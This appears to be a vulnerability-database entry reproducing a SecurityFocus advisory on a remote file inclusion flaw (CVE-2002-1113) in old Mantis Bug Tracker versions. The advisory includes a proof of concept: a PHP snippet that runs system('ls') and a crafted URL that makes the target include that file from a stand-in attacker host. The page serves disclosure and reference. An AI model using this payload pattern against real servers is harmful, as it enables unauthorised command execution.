Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2002-1113 | 1 Sep 200404:00 | – | cve | |
| CVE-2002-1113 | 1 Sep 200404:00 | – | cvelist | |
| Debian DSA-153-1 : mantis - cross site code execution and privilege escalation | 29 Sep 200400:00 | – | nessus | |
| Mantis < 0.17.5 Multiple Vulnerabilities | 27 May 200300:00 | – | nessus | |
| CVE-2002-1113 | 4 Oct 200204:00 | – | nvd | |
| Debian Security Advisory DSA 153-1 (mantis) | 17 Jan 200800:00 | – | openvas | |
| Debian Security Advisory DSA 153-1 (mantis) | 17 Jan 200800:00 | – | openvas | |
| DSA-153 mantis - cross site code execution and privilege escalation | 14 Aug 200200:00 | – | osv |
source: https://www.securityfocus.com/bid/5504/info
Mantis depends on include files to provide some functionality, such as dynamic generation of graphs. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server.
Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.
The attacker may create the following file (listings.txt) on a server they have access to:
<?php
system('ls');
exit;
?>
And then cause it to be included with the following request:
http://target/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3FData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Jun 2018 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.03267